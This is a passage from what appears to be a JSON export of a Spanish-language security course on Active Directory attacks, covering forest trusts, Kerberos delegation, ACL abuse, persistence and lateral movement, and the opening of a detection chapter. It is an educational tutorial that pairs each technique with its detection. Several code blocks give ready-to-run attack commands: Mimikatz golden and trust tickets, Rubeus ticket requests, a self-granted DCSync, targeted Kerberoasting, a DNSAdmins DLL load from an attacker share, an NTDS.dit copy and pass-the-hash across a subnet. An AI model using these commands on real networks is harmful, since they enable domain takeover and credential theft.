organización.\nHay dos familias de mecanismos que cruzan esos límites, y este capítulo las trata en orden. La primera son las relaciones de confianza (trusts): los enlaces explícitos que un administrador crea entre dominios o bosques para que los usuarios de uno accedan a recursos del otro. La segunda es la delegación Kerberos: el mecanismo legítimo por el cual un servicio actúa en nombre de un usuario hacia un tercer servicio —la base del inicio de sesión único en aplicaciones de varias capas— y, mal configurado, la fuente más rica de rutas de suplantación (impersonation) de todo Active Directory. Ambas familias comparten un rasgo: no explotan una vulnerabilidad de software sino el diseño de confianza del propio directorio, de modo que la defensa es casi siempre de configuración y postura, no de parcheo.\nflowchart TD A[\"Privilegios en un dominio\\n(Domain Admin o equivalente)\"] --\u003e B{\"¿Hacia dónde\\nescalo?\"} B --\u003e|\"Dominio hijo → raíz\\n(mismo bosque)\"| C[\"SID History\\nGolden Ticket + SID de\\nEnterprise Admins (RID 519)\"] B --\u003e|\"Bosque → bosque\\n(SID filtering off)\"| D[\"Trust Ticket\\nclave de la cuenta trust$\\n→ TGT inter-realm\"] B --\u003e|\"Bastión PAM\\n(PIM trust)\"| E[\"Shadow Security Principals\\ncomprometer el bastión = DA\"] A2[\"Escritura en AD\\no admin sobre un host\"] --\u003e F{\"¿Qué tipo de\\ndelegación?\"} F --\u003e|\"Máquina cachea TGTs\"| G[\"Unconstrained\\ncoaccionar al DC → TGT del DC$\\n→ DCSync\"] F --\u003e|\"Servicio delega a\\nSPN fijo\"| H[\"Constrained / S4U\\nimpersonar DA hacia\\nel servicio permitido\"] F --\u003e|\"Escritura sobre el\\natributo del recurso\"| I[\"RBCD\\nsembrar cuenta de máquina\\n→ S4U2proxy → takeover\"] C --\u003e Z[\"Compromiso del bosque\"] D --\u003e Z E --\u003e Z G --\u003e Z H --\u003e Z I --\u003e ZTrusts: el bosque como límite de seguridad Una relación de confianza deja que los principales de seguridad (usuarios, máquinas, grupos) de un dominio se autentiquen contra recursos de otro. El detalle que la vuelve explotable es cómo Kerberos transporta la identidad a través del enlace: mediante el SID History, un atributo que arrastra los identificadores de seguridad (SID, Security Identifier) que una cuenta acumuló, pensado originalmente para preservar accesos durante migraciones de dominio. Un Golden Ticket forjado (ver 4.2 · Kerberos) puede inyectar en ese SID History cualquier SID que el atacante decida, y ahí empieza el abuso.\nEscalada dentro del bosque (hijo → raíz). Con el hash de la cuenta krbtgt del dominio hijo —obtenido por el DCSync de 4.5 · Credential dumping— el atacante forja un Golden Ticket e inyecta en su SID History el SID del grupo Enterprise Admins del dominio raíz (el RID 519, en lugar del 512 de Domain Admins). Como el SID filtering no se aplica a los trusts internos de un bosque, el controlador de dominio raíz acepta ese SID y concede acceso de administrador de la empresa. Es una escalada directa de un dominio hijo al control del bosque completo: la razón técnica de por qué “comprometer el hijo es comprometer el bosque”.\n$ # Obtener el SID del dominio y forjar el ticket con el SID de Enterprise Admins (RID 519) Convert-NameToSid target.domain.com\\krbtgt # → S-1-5-21-… (o lookupsid.py de Impacket) mimikatz # kerberos::golden /user:Administrator /domain:hijo.corp.local /sid:S-1-5-21-\u003chijo\u003e \\ /krbtgt:\u003chash krbtgt\u003e /sids:S-1-5-21-\u003craiz\u003e-519 /ptt ⧉ copiar Escalada entre bosques (Trust Ticket). Cruzar a un bosque distinto es más caro. Cada trust tiene una cuenta asociada (dominio-confiado$) cuya clave cifra los tickets inter-realm. Volcando esa clave —lsadump::trust /patch en Mimikatz— el atacante forja un inter-realm TGT (un TGT de referencia hacia el otro bosque) y pide desde él un ticket de servicio contra el objetivo. Pero esta vía requiere que el SID filtering esté deshabilitado en el trust, cosa que no es la configuración por defecto entre bosques: el SID filtering descarta precisamente los SID “extranjeros” inyectados por SID History, que es lo que anula el ataque. Por eso la escalada cross-forest es condicional, mientras que la intra-forest es incondicional.\n$ # Volcar la clave del trust y forjar un TGT inter-realm hacia el bosque destino mimikatz # lsadump::trust /patch mimikatz # kerberos::golden /domain:hijo.corp.local /sid:S-1-5-21-\u003corigen\u003e /rc4:\u003cclave trust\u003e \\ /user:Administrator /service:krbtgt /target:destino.local /ticket:trust.kirbi Rubeus.exe asktgs /ticket:trust.kirbi /service:CIFS/dc.destino.local /ptt ⧉ copiar El SID filtering es la línea que separa “compromiso de dominio” de “compromiso de bosque a bosque”. Está activo por defecto en los trusts externos y de bosque, y es lo que impide que los SID inyectados vía SID History crucen el límite. Deshabilitarlo (a veces se hace por conveniencia operativa entre organizaciones fusionadas) es lo que abre la puerta al Trust Ticket. Auditar qué trusts tienen SID filtering desactivado es un control de postura de primer orden. PAM trust: el bastión que gestiona. Microsoft introdujo PAM (Privileged Access Management) con un “bosque bastión” (bastion / red forest) que administra cuentas privilegiadas de otros bosques mediante Shadow Security Principals —objetos que mapean un grupo del bastión a un grupo privilegiado del bosque gestionado, con tiempo de vida acotado—. La consecuencia adversaria es directa: comprometer el bastión otorga administración de dominio sobre cada bosque que gestiona, y sembrar una cuenta propia como miembro de un Shadow Principal es persistencia de alcance total. Un bosque pensado para reducir el privilegio se convierte, si cae, en el punto único de compromiso de todos los demás.\n$ # Detectar un PAM/PIM trust y enumerar los Shadow Security Principals Get-ADTrust -Filter {(ForestTransitive -eq $True)} Get-ADObject -SearchBase \"CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local\" \\ -Filter * -Properties member ⧉ copiar Delegación Kerberos: suplantar en nombre de otro La delegación resuelve un problema real: una aplicación web que consulta una base de datos SQL debe hacerlo como el usuario conectado, no como su propia cuenta de servicio, para que los permisos de la base se apliquen a la persona correcta. Kerberos ofrece tres mecanismos para ello, y los tres, mal acotados, se convierten en rutas de suplantación. La diferencia entre ellos es quién controla el permiso de delegar y hacia qué, y esa diferencia es exactamente la que determina el ataque.\nUnconstrained: la máquina que guarda todos los TGT La unconstrained delegation —delegación no restringida— es la forma más antigua y más peligrosa. Una máquina marcada con este atributo (TRUSTED_FOR_DELEGATION, el bit 524288 de userAccountControl) cachea en su memoria el TGT completo de cualquiera que se autentique contra ella, para poder reusarlo hacia cualquier servicio. Si el atacante controla una máquina así —o compromete una que ya lo esté—, todo TGT que llegue queda a su disposición. Y aquí entra la coerción de 4.3 · NTLM: forzando a un controlador de dominio a autenticarse contra la máquina controlada (con SpoolSample/PrinterBug sobre MS-RPRN o PetitPotam sobre MS-EFSRPC), su TGT —el del DC$— queda en memoria. Como la cuenta de máquina de un DC posee por defecto los derechos de replicación, ese TGT robado habilita un DCSync inmediato. Es una c","section":"P4 · Active Directory e Identidad","summary":"Las dos maneras de cruzar un límite de seguridad en Active Directory: las relaciones de confianza entre dominios y bosques (SID History, Trust Ticket, PAM trust) y la delegación Kerberos (unconstrained, constrained/S4U, RBCD y el Bronze Bit) — el terreno donde el compromiso de un host se vuelve compromiso del bosque, con la detección de cada vía.","tags":["active-directory","kerberos","delegation","trusts","privilege-escalation","lateral-movement","deteccion"],"title":"4.6 · Delegación y trusts: cruzar los límites del bosque","url":"/speculum/p4-active-directory/4-6-delegacion-trusts/"},{"content":"Panorama Cada objeto de Active Directory —un usuario, un grupo, un equipo, el propio objeto de dominio— lleva asociada una lista de control de acceso (DACL, Discretionary Access Control List) compuesta por entradas individuales (ACE, Access Control Entry) que dicen qué principal puede hacer qué sobre él. Ese modelo de permisos, pensado para la delegación administrativa legítima, es también la superficie de escalada más rica del directorio: un permiso mal otorgado sobre el objeto correcto convierte un usuario común en administrador de dominio sin explotar ninguna vulnerabilidad de software. Es el terreno donde el grafo de 4.1 · Reconocimiento de AD rinde su fruto —cada arista que BloodHound dibuja hacia Tier Zero es una de las primitivas de este capítulo— y donde el compromiso se consolida en persistencia: derechos que sobreviven a la respuesta del equipo defensor.\nEste capítulo trata tres capas del mismo modelo. Primero, el abuso de ACE: el catálogo de permisos de objeto que se traducen en control total, y cómo son intercambiables hacia el mismo fin. Segundo, los grupos privilegiados, incluidos los que dan poder de administrador sin figurar como tal. Tercero, la persistencia en AD: los mecanismos que reinstalan el acceso del atacante automáticamente o capturan credenciales en la fuente, de modo que expulsarlo exige algo más que quitar una pertenencia. En las tres capas, la defensa es de postura de configuración —auditar y minimizar permisos— más que de parcheo, porque nada de esto es un bug: es el directorio funcionando como fue diseñado.\nEl abuso de ACE: control parcial que escala a total La observación central es que las distintas ACE que otorgan algún grado de control sobre un objeto son rutas intercambiables hacia el mismo desenlace: tomar el objeto por completo. GenericAll (control total), GenericWrite (escritura de atributos), WriteDACL (reescribir la propia DACL), WriteOwner (cambiar el dueño, que luego se reescribe la DACL) y ForceChangePassword (resetear la contraseña sin conocer la anterior) llegan todas, por caminos distintos, a controlar la cuenta objetivo. Para el atacante eso significa que basta una arista; para el defensor significa que hay que barrer todo el control saliente peligroso, no técnica por técnica.\nflowchart TD A[\"Tengo una ACE sobre\\nel objeto objetivo\"] --\u003e B{\"¿Qué objeto\\ny qué derecho?\"} B --\u003e|\"GenericAll / ForceChangePassword\\nsobre un usuario\"| C[\"Resetear su contraseña\\no kerberoast dirigido\"] B --\u003e|\"GenericAll / GenericWrite\\nsobre un usuario\"| D[\"Setear un SPN temporal\\n→ targeted Kerberoasting (4.2)\"] B --\u003e|\"GenericWrite\\n(flag de pre-auth)\"| E[\"Togglear DONT_REQ_PREAUTH\\n→ AS-REP roasting forzado (4.2)\"] B --\u003e|\"GenericAll / WriteMember\\nsobre un grupo\"| F[\"Agregarse al grupo\\n(Domain Admins, etc.)\"] B --\u003e|\"WriteDACL sobre\\nel objeto de dominio\"| G[\"Auto-otorgarse los derechos\\nde replicación → DCSync (4.5)\"] B --\u003e|\"ReadLAPSPassword /\\nReadGMSAPassword\"| H[\"Leer la contraseña\\nlocal / de servicio en claro\"] C --\u003e Z[\"Control del objetivo\"] D --\u003e Z E --\u003e Z F --\u003e Z G --\u003e ZZ[\"Control del dominio\"] H --\u003e ZEl caso más terminal es WriteDACL sobre el objeto de dominio: permite al atacante añadirse a sí mismo los derechos de replicación DS-Replication-Get-Changes y -All, que es exactamente lo que habilita un DCSync (ver 4.5 · Credential dumping). Una arista de escritura sobre la raíz del dominio equivale, así, al volcado de todos los hashes. Las variantes intermedias son igual de útiles: sobre un usuario, un targeted Kerberoasting —escribir un SPN temporal en la cuenta, pedir su ticket, crackearlo offline y borrar el SPN— o forzar un AS-REP roasting activando el flag DONT_REQ_PREAUTH, ambas conectando con 4.2 · Kerberos. Y la primitiva de escritura es también la que arma el RBCD de 4.6 · Delegación y trusts: el mismo GenericWrite que aquí resetea una contraseña, allí siembra el atributo de delegación.\n$ # WriteDACL sobre el dominio → auto-concederse DCSync (y removerlo tras el volcado) Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity atacante -Rights DCSync bloodyAD.py --host \u003cDC\u003e -d corp -u atacante -p :\u003chash\u003e setDCSync atacante # Linux # Targeted Kerberoasting: setear un SPN temporal, roastear, limpiar Set-DomainObject -Identity victima -Set @{serviceprincipalname='ops/x'} Get-DomainUser victima | Get-DomainSPNTicket | fl Set-DomainObject -Identity victima -Clear serviceprincipalname # Forzar AS-REP roasting togglear el flag de pre-autenticación (revertir después) Set-DomainObject -Identity victima -XOR @{useraccountcontrol=4194304} ⧉ copiar Dos permisos de lectura merecen mención aparte porque no controlan el objeto sino que leen un secreto: ReadLAPSPassword expone la contraseña de administrador local que LAPS (Local Administrator Password Solution) rota y guarda en el atributo ms-Mcs-AdmPwd del equipo, y ReadGMSAPassword expone la contraseña de una gMSA (group Managed Service Account), la cuenta de servicio administrada cuya contraseña gestiona el propio dominio. Ambos convierten un permiso de lectura aparentemente inocuo en credenciales utilizables.\nGrupos privilegiados: poder de administrador sin ser administrador La membresía de grupos es la otra vía de escalada, y su lección es que la superficie privilegiada de AD va mucho más allá de los grupos obviamente administrativos como Domain Admins. Varios grupos built-in conceden, por la vía indirecta, capacidad equivalente a SYSTEM o a compromiso del dominio:\nDNSAdmins. No es un grupo administrativo, pero sus miembros pueden hacer que el servicio DNS —que en un controlador de dominio corre como SYSTEM— cargue una DLL arbitraria mediante el parámetro serverlevelplugindll. Reiniciar el servicio ejecuta el código como SYSTEM en el DC. Es una escalada “no obvia” a control del controlador de dominio. Backup Operators. Sus privilegios SeBackupPrivilege y SeRestorePrivilege ignoran las ACL de archivo para permitir copias de respaldo. Eso alcanza para copiar NTDS.dit y las hives del registro saltándose todo control de acceso —el mismo desenlace que la vía local de 4.5 · Credential dumping— sin ser administrador. Schema Admins. Modifica el esquema del bosque, con efectos persistentes de largo alcance. El atributo AdminCount=1 se pone automáticamente cuando una cuenta pasa por un grupo protegido, pero nunca se quita solo al removerla. Por eso enumerar AdminCount=1 revela tanto a los administradores actuales como a un rastro histórico de cuentas que fueron privilegiadas y a menudo conservan permisos residuales — un punto de partida valioso para el atacante y un pendiente de higiene para el defensor. $ # DNSAdmins → DLL como SYSTEM en el DC (requiere reiniciar el servicio DNS) dnscmd \u003cDC\u003e /config /serverlevelplugindll \\\\\u003catacante\u003e\\share\\privesc.dll sc \\\\\u003cDC\u003e stop dns ; sc \\\\\u003cDC\u003e start dns # Backup Operators → copiar NTDS.dit/hives ignorando ACLs Set-SeBackupPrivilege Copy-FileSeBackupPrivilege C:\\Windows\\NTDS\\NTDS.dit C:\\Users\\Public\\ntds.dit ⧉ copiar Persistencia: el acceso que se repara solo La persistencia en AD busca que el acceso del atacante sobreviva a la respuesta del equipo defensor. Los dos mecanismos más característicos no son cuentas ocultas —fáciles de encontrar— sino modificaciones al propio funcionamiento del directorio.\nAdminSDHolder y SDProp: el backdoor auto-reparable. AdminSDHolder es un objeto plantilla cuya DACL el proceso SDProp (Security Descriptor Propagator) copia, cada 60 minutos, sobre todos los grupos protegidos del dominio (Domain Admins, Enterprise Admins, etc.). Es un mecanismo de seguridad: garantiza que las ACL de los grupos sensibles no se degraden. El abuso lo invierte: si el atacante añade a la DACL de AdminSDHolder un ACE a su favor —por ejemplo, ResetPassword o control total sobre Administrator—, SDProp lo propaga a los grupos protegidos en menos de una hora. Y si el defensor lo detecta y lo quita, SDProp lo vuelve a poner en el siguiente ciclo. Es persistencia que combate automáticamente a quien intenta erradicarla; l","section":"P4 · Active Directory e Identidad","summary":"El modelo de permisos de Active Directory como superficie de escalada: el catálogo de aristas de ACE (GenericAll, WriteDACL, ForceChangePassword…) que convierten un control parcial en dominio, los grupos built-in que dan SYSTEM sin ser administradores, y la persistencia que se repara sola — AdminSDHolder/SDProp y el SSP malicioso — con su detección. Incluye los internals del SRM —la estructura del descriptor de seguridad, el WriteDac inalienable del dueño, el algoritmo de access-check en tres fases (mandatory/token/discrecional), el orden canónico y la brecha entre permisos declarados y acceso efectivo— que explican por qué el abuso de ACE funciona y qué auditar más allá de la membresía.","tags":["active-directory","privilege-escalation","persistence","acl","credential-access","deteccion"],"title":"4.7 · ACLs, grupos privilegiados y persistencia en AD","url":"/speculum/p4-active-directory/4-7-acls-persistencia/"},{"content":"Panorama El movimiento lateral es la fase en que el atacante, ya con una credencial en la mano, la propaga de una máquina a otra hasta alcanzar el objetivo —un controlador de dominio, un servidor de ficheros, la cuenta con los derechos que busca—. Su rasgo definitorio en Active Directory es que casi nunca hace falta la contraseña en texto claro: el material que 4.5 · Credential dumping extrae —un NT hash o un ticket Kerberos— es credencial suficiente por sí mismo. Windows fue diseñado para el single sign-on: una vez que el sistema tiene con qué probar tu identidad, no vuelve a pedir la contraseña. El atacante explota exactamente esa comodidad, presentando el secreto robado allí donde el protocolo lo acepta.\nEste capítulo ordena las tres técnicas canónicas por el tipo de material que reutilizan y por el protocolo que engañan. Pass-the-Hash presenta un NT hash directamente al flujo NTLM. Overpass-the-Hash toma ese mismo hash y lo reingresa a Kerberos para obtener un TGT legítimo —el puente entre los dos mundos de 4.3 · NTLM y 4.2 · Kerberos—. Pass-the-Ticket salta el hash por completo y reinyecta un ticket ya emitido. Sobre esas tres primitivas de autenticación se montan las vías de ejecución —SMB, WMI, WinRM, DCOM— y un orquestador, NetExec, que las combina y las escala a subredes enteras. La defensa comparte un eje: cortar la reutilización de secretos (aislamiento de privilegios, Credential Guard, cuentas de administrador local únicas) y detectar la anomalía de un logon que llega sin la contraseña que debería haberlo precedido.\nflowchart TD H[\"Material robado\\n(4.5 · Credential dumping)\"] --\u003e NT[\"NT hash\"] H --\u003e TK[\"Ticket Kerberos\\n(.kirbi / .ccache)\"] NT --\u003e|\"presentar al flujo NTLM\"| PTH[\"Pass-the-Hash\\n(protocolo NTLM)\"] NT --\u003e|\"pedir un TGT con el hash\\ncomo clave\"| OPH[\"Overpass-the-Hash\\n(entra a Kerberos)\"] OPH --\u003e TGT[\"TGT legítimo\\nemitido por el KDC\"] TK --\u003e|\"reinyectar en la sesión\"| PTT[\"Pass-the-Ticket\"] TGT --\u003e PTT PTH --\u003e EXEC{\"Vía de ejecución\"} PTT --\u003e EXEC EXEC --\u003e|\"445 / servicio\"| SMB[\"PsExec · SMBexec\"] EXEC --\u003e|\"135 / DCOM\"| WMI[\"WMIexec · DCOM\\n(MMC20 / ShellWindows)\"] EXEC --\u003e|\"5985\"| WINRM[\"WinRM · evil-winrm\"] SMB --\u003e NEXT[\"Nueva máquina\\n→ repetir el ciclo\"] WMI --\u003e NEXT WINRM --\u003e NEXTPass-the-Hash: el NT hash como credencial Pass-the-Hash (PtH) explota la mecánica de NTLM descrita en 4.3 · NTLM: la autenticación challenge/response nunca transmite la contraseña, solo una respuesta calculada a partir del NT hash. Y ese hash no es un resumen de un solo uso de la contraseña, sino su equivalente funcional: quien lo posee puede calcular la respuesta correcta a cualquier desafío sin conocer el texto claro. Presentar el NT hash a una herramienta que habla NTLM produce, por tanto, una sesión autenticada plena. No hay que crackearlo; el hash es la credencial.\nLa consecuencia operativa es directa: un NT hash volcado de la memoria de una máquina (LSASS) o de la base de datos del dominio (NTDS.dit) sirve para autenticarse en cualquier otra máquina donde esa misma cuenta tenga acceso. El escenario clásico —y el más rentable— es la contraseña de administrador local reutilizada: si todas las estaciones comparten el mismo administrador local, un solo hash abre la red entera. De ahí que la mitigación central sea LAPS, que asigna a cada equipo una contraseña de administrador local distinta y rotada.\n$ # PtH con Impacket: NT hash en vez de contraseña (formato LMhash:NThash, LM en blanco) psexec.py -hashes :64FBAE31CC352FC26AF97CBDEF151E03 corp/administrator@10.0.0.5 wmiexec.py -hashes :64FBAE31CC352FC26AF97CBDEF151E03 corp/administrator@10.0.0.5 # PtH con NetExec, validando el hash a lo ancho de una subred nxc smb 10.0.0.0/24 -u administrator -H 64FBAE31CC352FC26AF97CBDEF151E03 --local-auth ⧉ copiar No todas las cuentas locales sirven igual para PtH remoto. Desde Windows Vista / KB2871997, las UAC remote restrictions filtran el token de las cuentas locales que se autentican por red, salvo la RID 500 (el Administrator integrado) o cuando LocalAccountTokenFilterPolicy=1 está activado. Es la misma corrección que se detalla en 4.2 · Kerberos: PtH con un administrador local que no sea la RID 500 puede autenticar pero recibir un token restringido, sin el acceso administrativo esperado. Overpass-the-Hash: del hash a un ticket Kerberos Overpass-the-Hash (también pass-the-key) resuelve la principal limitación de PtH: que solo funciona donde se acepta NTLM. La técnica toma el NT hash y lo usa como clave secreta de la cuenta en la petición AS-REQ inicial de Kerberos, obteniendo a cambio un TGT auténtico emitido por el KDC. A partir de ahí el atacante opera con Kerberos “limpio” —pide tickets de servicio, se mueve por SMB/LDAP/CIFS— con un TGT que el dominio considera legítimo porque, en efecto, lo emitió él. Es el puente que convierte un secreto NTLM en una identidad Kerberos completa, útil sobre todo donde NTLM está deshabilitado o vigilado.\n$ # Overpass-the-Hash con Rubeus: el NT hash (RC4) se convierte en un TGT Rubeus.exe asktgt /user:svc_sql /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /ptt # Con AES en vez de RC4 (más sigiloso — evita el 4768 con eType RC4) Rubeus.exe asktgt /user:svc_sql /aes256:\u003cclave-aes256\u003e /ptt ⧉ copiar El cifrado importa para el sigilo. Un Overpass-the-Hash hecho con el NT hash produce una petición AS-REQ con tipo de cifrado RC4 (eType 0x17), inusual en un dominio moderno que negocia AES por defecto — y esa es precisamente la firma que el defensor busca en el Event ID 4768 (ver más abajo). Usar la clave AES de la cuenta en lugar del NT hash produce un TGT indistinguible del tráfico normal. La elección del material de clave es, aquí, una decisión de OPSEC. Pass-the-Ticket: reinyectar un ticket ya emitido Pass-the-Ticket (PtT) salta el hash por completo: reutiliza un ticket Kerberos —un TGT o un TGS— robado de la memoria de otra sesión. Como en Kerberos el ticket es la credencial, inyectarlo en la sesión actual basta para heredar la identidad y los accesos de la víctima, sin conocer su contraseña ni su hash. Un usuario de dominio sin privilegios, con el .kirbi de un administrador inyectado, alcanza recursos que su propia cuenta jamás tocaría.\nEl formato del ticket en disco delata la herramienta que lo forjó o extrajo, y determina el comando de inyección: Mimikatz y Rubeus producen .kirbi (se inyecta con kerberos::ptt), mientras que Impacket produce .ccache (se inyecta con kerberos::ptc, o se exporta a la variable KRB5CCNAME en Linux). El analista defensivo conviene que conozca ambos, porque el artefacto en disco indica el toolkit del adversario.\n$ # Extraer los tickets de la sesión a .kirbi y reinyectar uno (Pass-the-Ticket) mimikatz # sekurlsa::tickets /export mimikatz # kerberos::ptt [0;12bd0]-2-0-40e10000-aarti@krbtgt-CORP.LOCAL.kirbi mimikatz # misc::cmd # abre una consola con la identidad de la víctima # Impacket / Linux: exportar el .ccache y usarlo con -k export KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass corp/administrator@dc1.corp.local ⧉ copiar PtT es también la vía por la que se entregan los tickets forjados de 4.2 · Kerberos: un Golden Ticket (TGT forjado con el hash de krbtgt) o un Silver Ticket (TGS forjado con el hash de la cuenta de servicio) solo sirven una vez inyectados en la sesión, y esa inyección es exactamente un Pass-the-Ticket. La forja crea la credencial; PtT la pone a trabajar.\nLas vías de ejecución: SMB, WMI, WinRM, DCOM Autenticarse en una máquina remota es una cosa; ejecutar código en ella es otra. Las tres primitivas anteriores resuelven la autenticación; sobre ellas se apoya un abanico de mecanismos de ejecución remota, cada uno con un puerto, un rastro y un grado de sigilo distintos:\nSMB (445) — PsExec / SMBexec. El método clásico: copiar un binario a un recurso administrativo (ADMIN$), registrar un servicio que lo ejecute como SYSTEM y recoger la salida. Es fiable pero ruidoso —crea un servicio (Event ID 7045) y toca disco—. La variante SMBexec evita el binario ejecutando comandos vía u","section":"P4 · Active Directory e Identidad","summary":"Reutilizar credenciales sin conocer la contraseña: el material robado —NT hash o ticket Kerberos— se convierte en acceso remoto. Pass-the-Hash (NTLM), Overpass-the-Hash (el hash reingresa a Kerberos) y Pass-the-Ticket (.kirbi/.ccache), las vías de ejecución (SMB/WMI/WinRM/DCOM) y NetExec como orquestador — con su detección.","tags":["active-directory","lateral-movement","pass-the-hash","pass-the-ticket","kerberos","credential-access","deteccion"],"title":"4.8 · Movimiento lateral: Pass-the-Hash, Pass-the-Ticket y Overpass-the-Hash","url":"/speculum/p4-active-directory/4-8-movimiento-lateral/"},{"content":"Panorama Los ocho capítulos anteriores de esta Parte recorrieron Active Directory desde la óptica del atacante: el reconocimiento del grafo (4.1), el abuso de Kerberos (4.2) y de NTLM (4.3), la escalada por certificados (4.4), el volcado de credenciales (4.5), la delegación y los trusts (4.6), el abuso de ACLs y la persistencia (4.7) y el movimiento lateral (4.8). Cada uno terminó con una subsección de defensa que apuntaba aquí. Este capítulo recoge esas promesas y las convierte en un sistema: no una lista de reglas sueltas, sino la postura defensiva completa de un dominio.\nLa tesis que ordena el capítulo es la de la fuente que lo cimenta: un ataque a Active Directory casi nunca es un evento, es una historia. El SOC que caza a un adversario en el dominio rara vez lo hace por una alerta aislada —un solo Event ID 4769 con RC4 es indistinguible del ruido—, sino porque correlaciona una secuencia de comportamientos que, encadenados, solo tienen una explicación: un punto de apoyo interno, seguido de reconocimiento del dominio, seguido de descubrimiento de SPN, seguido de una ráfaga de peticiones de ticket, seguido de un uso anómalo de la cuenta descifrada. Ninguna etapa por separado dispara una alerta crítica; la suma sí. Defender AD es, por tanto, un problema de telemetría (registrar lo correcto), de correlación (leer la historia en los eventos) y de postura (quitarle al atacante las técnicas antes de que las use).\nEl capítulo sigue ese orden. Primero, la telemetría que hay que tener antes de que un ataque ocurra —porque no se detecta lo que no se registra—. Después, el diccionario consolidado de Event IDs de AD, organizado por fase de la cadena de ataque, que reúne en un solo lugar las firmas que 4.2–4.8 fueron citando. Luego, la correlación: cómo esas firmas se leen juntas como una historia. A continuación, el hardening que elimina cada familia de técnica de raíz. Y por último, el playbook de respuesta cuando la detección dispara —incluido el caso especial del doble reset de krbtgt que erradica un Golden Ticket—.\nflowchart LR subgraph T[\"1 · Telemetría (antes)\"] AUD[\"Advanced Audit Policy\\n+ SACL en objetos Tier 0\"] SYS[\"Sysmon + Script Block\\nLogging (4104)\"] WEF[\"Reenvío de logs\\n(WEF/SIEM) fuera del DC\"] end subgraph D[\"2 · Detección + correlación\"] DICT[\"Diccionario de\\nEvent IDs por fase\"] STORY[\"Correlación →\\nhistoria de ataque\"] end subgraph H[\"3 · Hardening (raíz)\"] POST[\"Credential Guard · LAPS ·\\ntiering · Protected Users ·\\nAES · MAQ=0\"] end subgraph R[\"4 · Respuesta\"] IR[\"Scoping → contención →\\nerradicación (krbtgt ×2) →\\nlecciones aprendidas\"] end T --\u003e D D --\u003e|\"la alerta dispara\"| R H -.-\u003e|\"reduce la superficie\\nque D debe vigilar\"| D R -.-\u003e|\"lecciones aprendidas\\nmejoran la postura\"| HLa telemetría que hay que tener antes Todo lo que sigue depende de un hecho incómodo: por defecto, Windows no registra la mayoría de lo que se necesita para cazar a un atacante en AD. Los Event IDs que 4.2–4.8 citaron no aparecen mágicamente; muchos exigen habilitar categorías de la Advanced Audit Policy, configurar SACLs (System Access Control Lists) en los objetos sensibles, o desplegar telemetría de terceros como Sysmon. Un dominio sin esta configuración previa es ciego a casi todo el catálogo defensivo de esta Parte. La telemetría no es la última pieza del sistema; es la primera, y sin ella el resto es teoría.\nCuatro capas de recolección sostienen la detección en AD:\nAdvanced Audit Policy. Las categorías granulares que activan las familias de eventos clave: Account Logon y Logon/Logoff (4624/4625/4768/4769/4771/4776), Account Management (4720–4767), DS Access (4662, 4928 —la auditoría del directorio, imprescindible para ver DCSync—), Directory Service Changes (5136, el antes/después de la modificación de un objeto) y Process Creation (4688, con la línea de comandos incluida, que es una opción aparte que hay que activar explícitamente). SACLs en los objetos Tier 0. Varios de los eventos más valiosos solo se emiten si el objeto auditado tiene una SACL que lo pida. El caso canónico es el objeto del dominio y el AdminSDHolder: sin una SACL que audite las lecturas de replicación y las escrituras de DACL, el 4662 que delata un DCSync (4.5) y el 5136 que delata un backdoor en AdminSDHolder (4.7) sencillamente no se generan. Sysmon y Script Block Logging. Los registros nativos tienen puntos ciegos que la telemetría de Sysmon cubre: el acceso al proceso de LSASS (Sysmon Event ID 10, la firma del volcado de credenciales), la suscripción de eventos WMI (Sysmon 19/20/21), la creación de valores de registro (Sysmon 12/13) y la relación padre-hijo de procesos (Sysmon 1). En paralelo, el PowerShell Script Block Logging (Event ID 4104) reconstruye el código real que ejecutó un powershell.exe ofuscado o codificado en Base64 —la única vía de ver qué hizo de verdad una carga fileless—. Reenvío de logs fuera del host. Esta capa es la que un atacante no puede borrar. El Event ID 1102 (registro de auditoría borrado) es, en sí mismo, uno de los primeros indicadores de compromiso: un adversario que limpia el log de seguridad de un DC para tapar su rastro. La contramedida no es solo alertar sobre 1102, sino no depender del log local: el reenvío mediante Windows Event Forwarding o un agente de SIEM asegura que, cuando el atacante borre el registro de la máquina, la copia ya esté fuera de su alcance. El log del DC comprometido deja de ser confiable en el momento del compromiso; el del SIEM, no. El orden importa. Habilitar la auditoría después de un incidente no reconstruye lo que ya pasó: los eventos que no se registraron cuando ocurrieron no existen. La configuración de auditoría es una inversión que solo rinde si está hecha antes. El primer entregable de un proyecto de detección en AD no es una regla de SIEM, es la línea base de auditoría desplegada por GPO en todo el dominio. Bajo el capó: el subsistema de auditoría, el SACL y por qué la telemetría se puede cegar La sección anterior prescribió qué habilitar. Debajo de esa receta operativa hay una maquinaria del núcleo que conviene entender, porque explica tres cosas que la lista de GPO da por sentadas: por qué la auditoría requiere dos piezas y no una, por qué los Event IDs de AD del diccionario que sigue son casos particulares de una familia más general, y —el giro incómodo— por qué la propia telemetría es un objeto que un atacante con el privilegio adecuado puede silenciar en su origen, no solo borrar después.\nEl primer hecho es que la auditoría no es un subsistema aparte, es una rama del access-check. Cuando el Security Reference Monitor evalúa un acceso con el algoritmo de tres fases que describe 4.7, en la misma pasada comprueba si el objeto lleva una SACL (System Access Control List) cuyas entradas coincidan con el sujeto y la máscara de acceso solicitada; si coinciden, emite un evento. La DACL responde a la pregunta «¿se concede?»; la SACL, en la misma evaluación, responde a «¿se registra?». Por eso el substrato del descriptor de seguridad de 4.7 y el de la auditoría de 4.9 son gemelos: dos ramas de una sola decisión del SRM.\nEl segundo hecho es el mecanismo detrás de los «dos componentes interdependientes» que la sección de telemetría mencionó. La Advanced Audit Policy es el interruptor maestro global: sin la subcategoría correspondiente —Object Access → Kernel Object, DS Access, etc.— activada, el núcleo ignora silenciosamente cualquier regla de SACL declarada en los objetos. Es deliberado: evita ahogar el log con eventos de la operación nominal. La SACL del objeto concreto es la regla atómica: qué SID, qué máscara de permisos, y si se registra el éxito, el fracaso o ambos. Las dos piezas tienen que estar —la política global habilita la categoría, la SACL define la regla—, y esa dependencia es exactamente la razón por la que un Event ID «no aparece mágicamente» aunque el ataque haya ocurrido: faltaba una de las dos mitades. Configurar o leer una SACL exige además el privilegio SeSecurityPrivilege, de modo que solo ","section":"P4 · Active Directory e Identidad","summary":"El capítulo azul que cierra la Parte 4: consolida en un sistema coherente el mapeo defensivo que 4.1–4.8 vinieron enlazando. La telemetría que hay que tener antes de que sirva, el diccionario de Event IDs de AD por fase, la correlación que 